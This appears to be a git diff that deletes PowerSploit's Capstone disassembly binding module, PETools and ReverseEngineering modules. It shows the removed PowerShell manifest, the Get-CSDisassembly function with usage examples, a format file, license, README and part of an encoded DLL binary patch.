Capstone/lib/x86/libcapstone.dll delete mode 100644 Capstone/lib/x86/place_32-bit_libcapstone.dll_here delete mode 100644 PETools/Get-DllLoadPath.ps1 delete mode 100644 PETools/Get-LibSymbols.format.ps1xml delete mode 100644 PETools/Get-LibSymbols.ps1 delete mode 100644 PETools/Get-ObjDump.format.ps1xml delete mode 100644 PETools/Get-ObjDump.ps1 delete mode 100644 PETools/Get-PEHeader.ps1 delete mode 100644 PETools/PETools.format.ps1xml delete mode 100644 PETools/PETools.psd1 delete mode 100644 PETools/PETools.psm1 delete mode 100644 PETools/Usage.md delete mode 100644 ReverseEngineering/ConvertTo-String.ps1 delete mode 100644 ReverseEngineering/Get-Entropy.ps1 delete mode 100644 ReverseEngineering/Get-ILDisassembly.format.ps1xml delete mode 100644 ReverseEngineering/Get-ILDisassembly.ps1 delete mode 100644 ReverseEngineering/Get-Member.ps1 delete mode 100644 ReverseEngineering/Get-MethodAddress.ps1 delete mode 100644 ReverseEngineering/Get-NtSystemInformation.format.ps1xml delete mode 100644 ReverseEngineering/Get-NtSystemInformation.ps1 delete mode 100644 ReverseEngineering/Get-PEB.format.ps1xml delete mode 100644 ReverseEngineering/Get-PEB.ps1 delete mode 100644 ReverseEngineering/Get-Strings.ps1 delete mode 100644 ReverseEngineering/Get-StructFromMemory.ps1 delete mode 100644 ReverseEngineering/ProcessModuleTrace.format.ps1xml delete mode 100644 ReverseEngineering/ProcessModuleTrace.ps1 delete mode 100644 ReverseEngineering/ReverseEngineering.psd1 delete mode 100644 ReverseEngineering/ReverseEngineering.psm1 delete mode 100644 ReverseEngineering/Usage.md diff --git a/Capstone/Capstone.psd1 b/Capstone/Capstone.psd1 deleted file mode 100644 index d85443f5..00000000 --- a/Capstone/Capstone.psd1 +++ /dev/null @@ -1,48 +0,0 @@ -@{ - -# Script module or binary module file associated with this manifest. -ModuleToProcess = 'Capstone.psm1' - -# Version number of this module. -ModuleVersion = '2.0.0.0' - -# ID used to uniquely identify this module -GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b' - -# Author of this module -Author = 'Matthew Graeber' - -# Copyright statement for this module -Copyright = 'see LICENSE.TXT' - -# Description of the functionality provided by this module -Description = 'Capstone Disassembly Framework Binding Module' - -# Minimum version of the Windows PowerShell engine required by this module -PowerShellVersion = '3.0' - -# Minimum version of the common language runtime (CLR) required by this module -CLRVersion = '4.0' - -# Assemblies that must be loaded prior to importing this module -RequiredAssemblies = 'lib/capstone.dll' - -# Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'Get-CSDisassembly.format.ps1xml' - -# Functions to export from this module -FunctionsToExport = '*' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'}) - -# List of all files packaged with this module -FileList = 'Capstone.psm1', - 'Capstone.psd1', - 'Get-CSDisassembly.format.ps1xml', - 'LICENSE.TXT', - 'README', - 'lib/capstone.dll', - 'lib/x86/libcapstone.dll', - 'lib/x64/libcapstone.dll' -} diff --git a/Capstone/Capstone.psm1 b/Capstone/Capstone.psm1 deleted file mode 100644 index 6507c54d..00000000 --- a/Capstone/Capstone.psm1 +++ /dev/null @@ -1,171 +0,0 @@ -function Get-CSDisassembly -{ -<# -.SYNOPSIS - - Disassembles a byte array using the Capstone Engine disassembly framework. - - PowerSploit Function: Get-CSDisassembly - Author: Matthew Graeber (@mattifestation) - License: See LICENSE.TXT - Required Dependencies: lib\capstone.dll, lib\[x86|x64]\libcapstone.dll - Optional Dependencies: None - -.DESCRIPTION - - Get-CSDisassembly is compatible on 32 and 64-bit. - -.PARAMETER Architecture - - Specifies the architecture of the code to be disassembled. - -.PARAMETER Mode - - Specifies the mode in which to disassemble code. For example, to disassemble Amd64 code, architecture is set to 'X86' and Mode is set to 'MODE_64'. - -.PARAMETER Code - - A byte array consisting of the code to be disassembled. - -.PARAMETER Offset - - Specifies the starting address of the disassembly listing. - -.PARAMETER Count - - Specifies the maximum number of instructions to disassemble. - -.PARAMETER Syntax - - Specifies the syntax flavor to be used (INTEL vs. ATT). - -.PARAMETER DetailOn - - Specifies that detailed parsing should be performed - i.e. provide detailed information for each disassembled instruction. - -.PARAMETER Verstion - - Prints the running Capstone Framework version. - -.EXAMPLE - - $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) - Get-CSDisassembly -Architecture X86 -Mode Mode16 -Code $Bytes -Offset 0x1000 - - $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) - Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes - - $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) - Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes -Syntax ATT - - $Bytes = [Byte[]] @( 0x55, 0x48, 0x8b, 0x05, 0xb8, 0x13, 0x00, 0x00 ) - Get-CSDisassembly -Architecture X86 -Mode Mode64 -Code $Bytes -DetailOn - - $Bytes = [Byte[]] @( 0xED, 0xFF, 0xFF, 0xEB, 0x04, 0xe0, 0x2d, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x83, 0x22, 0xe5, 0xf1, 0x02, 0x03, 0x0e, 0x00, 0x00, 0xa0, 0xe3, 0x02, 0x30, 0xc1, 0xe7, 0x00, 0x00, 0x53, 0xe3 ) - Get-CSDisassembly -Architecture Arm -Mode Arm -Code $Bytes - - $Bytes = [Byte[]] @( 0x4f, 0xf0, 0x00, 0x01, 0xbd, 0xe8, 0x00, 0x88, 0xd1, 0xe8, 0x00, 0xf0 ) - Get-CSDisassembly -Architecture Arm -Mode Thumb -Code $Bytes - - $Bytes = [Byte[]] @( 0x10, 0xf1, 0x10, 0xe7, 0x11, 0xf2, 0x31, 0xe7, 0xdc, 0xa1, 0x2e, 0xf3, 0xe8, 0x4e, 0x62, 0xf3 ) - Get-CSDisassembly -Architecture Arm -Mode Arm -Code $Bytes - - $Bytes = [Byte[]] @( 0x70, 0x47, 0xeb, 0x46, 0x83, 0xb0, 0xc9, 0x68 ) - Get-CSDisassembly -Architecture Arm -Mode Thumb -Code $Bytes -DetailOn - - $Bytes = [Byte[]] @( 0x21, 0x7c, 0x02, 0x9b, 0x21, 0x7c, 0x00, 0x53, 0x00, 0x40, 0x21, 0x4b, 0xe1, 0x0b, 0x40, 0xb9 ) - Get-CSDisassembly -Architecture Arm64 -Mode Arm -Code $Bytes - - $Bytes = [Byte[]] @( 0x0C, 0x10, 0x00, 0x97, 0x00, 0x00, 0x00, 0x00, 0x24, 0x02, 0x00, 0x0c, 0x8f, 0xa2, 0x00, 0x00, 0x34, 0x21, 0x34, 0x56 ) - Get-CSDisassembly -Architecture Mips -Mode 'Mode32, BigEndian' -Code $Bytes - - $Bytes = [Byte[]] @( 0x56, 0x34, 0x21, 0x34, 0xc2, 0x17, 0x01, 0x00 ) - Get-CSDisassembly -Architecture Mips -Mode 'Mode64, LittleEndian' -Code $Bytes - - $Bytes = [Byte[]] @( 0x80, 0x20, 0x00, 0x00, 0x80, 0x3f, 0x00, 0x00, 0x10, 0x43, 0x23, 0x0e, 0xd0, 0x44, 0x00, 0x80, 0x4c, 0x43, 0x22, 0x02, 0x2d, 0x03, 0x00, 0x80, 0x7c, 0x43, 0x20, 0x14, 0x7c, 0x43, 0x20, 0x93, 0x4f, 0x20, 0x00, 0x21, 0x4c, 0xc8, 0x00, 0x21 ) - Get-CSDisassembly -Architecture PPC -Mode BigEndian -Code $Bytes - -.INPUTS - - None - - You cannot pipe objects to Get-CSDisassembly. - -.OUTPUTS - - Capstone.Instruction[] - - Get-CSDisassembly returns an array of Instruction objects. -#> - - [OutputType([Capstone.Instruction])] - [CmdletBinding(DefaultParameterSetName = 'Disassemble')] - Param ( - [Parameter(Mandatory, ParameterSetName = 'Disassemble')] - [Capstone.Architecture] - $Architecture, - - [Parameter(Mandatory, ParameterSetName = 'Disassemble')] - [Capstone.Mode] - $Mode, - - [Parameter(Mandatory, ParameterSetName = 'Disassemble')] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Code, - - [Parameter( ParameterSetName = 'Disassemble' )] - [UInt64] - $Offset = 0, - - [Parameter( ParameterSetName = 'Disassemble' )] - [UInt32] - $Count = 0, - - [Parameter( ParameterSetName = 'Disassemble' )] - [ValidateSet('Intel', 'ATT')] - [String] - $Syntax, - - [Parameter( ParameterSetName = 'Disassemble' )] - [Switch] - $DetailOn, - - [Parameter( ParameterSetName = 'Version' )] - [Switch] - $Version - ) - - if ($PsCmdlet.ParameterSetName -eq 'Version') - { - $Disassembly = New-Object Capstone.Capstone([Capstone.Architecture]::X86, [Capstone.Mode]::Mode16) - $Disassembly.Version - - return - } - - $Disassembly = New-Object Capstone.Capstone($Architecture, $Mode) - - if ($Disassembly.Version -ne [Capstone.Capstone]::BindingVersion) - { - Write-Error "capstone.dll version ($([Capstone.Capstone]::BindingVersion.ToString())) should be the same as libcapstone.dll version. Otherwise, undefined behavior is likely." - } - - if ($Syntax) - { - switch ($Syntax) - { - 'Intel' { $SyntaxMode = [Capstone.OptionValue]::SyntaxIntel } - 'ATT' { $SyntaxMode = [Capstone.OptionValue]::SyntaxATT } - } - - $Disassembly.SetSyntax($SyntaxMode) - } - - if ($DetailOn) - { - $Disassembly.SetDetail($True) - } - - $Disassembly.Disassemble($Code, $Offset, $Count) -} \ No newline at end of file diff --git a/Capstone/Get-CSDisassembly.format.ps1xml b/Capstone/Get-CSDisassembly.format.ps1xml deleted file mode 100644 index e9703a2a..00000000 --- a/Capstone/Get-CSDisassembly.format.ps1xml +++ /dev/null @@ -1,41 +0,0 @@ - - - - - InstructionView - - Capstone.Instruction - - - - - - - - - - - - - - - - - - - Address - 0x{0:X8} - - - Mnemonic - - - Operands - - - - - - - - \ No newline at end of file diff --git a/Capstone/LICENSE.TXT b/Capstone/LICENSE.TXT deleted file mode 100644 index 9edde0bd..00000000 --- a/Capstone/LICENSE.TXT +++ /dev/null @@ -1,30 +0,0 @@ -This is the software license for Capstone disassembly framework. -Capstone has been designed & implemented by Nguyen Anh Quynh -See http://www.capstone-engine.org for further information. - -Copyright (c) 2013, COSEINC. -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -* Neither the name of the developer(s) nor the names of its - contributors may be used to endorse or promote products derived from this - software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/Capstone/README b/Capstone/README deleted file mode 100644 index cbab0cb7..00000000 --- a/Capstone/README +++ /dev/null @@ -1,17 +0,0 @@ -This module has three dependencies: -* lib\x86\libcapstone.dll (the 32-bit unmanaged Capstone library) -* lib\x64\libcapstone.dll (the 64-bit unmanaged Capstone library) -* lib\capstone.dll (the managed C# bindings to the Capstone Framework) - -To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module Capstone` - -To see the commands imported, type `Get-Command -Module Capstone` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file diff --git a/Capstone/lib/capstone.dll b/Capstone/lib/capstone.dll deleted file mode 100644 index 809932ba06984ad447d6f209b5920d57b55acb1b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 91136 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 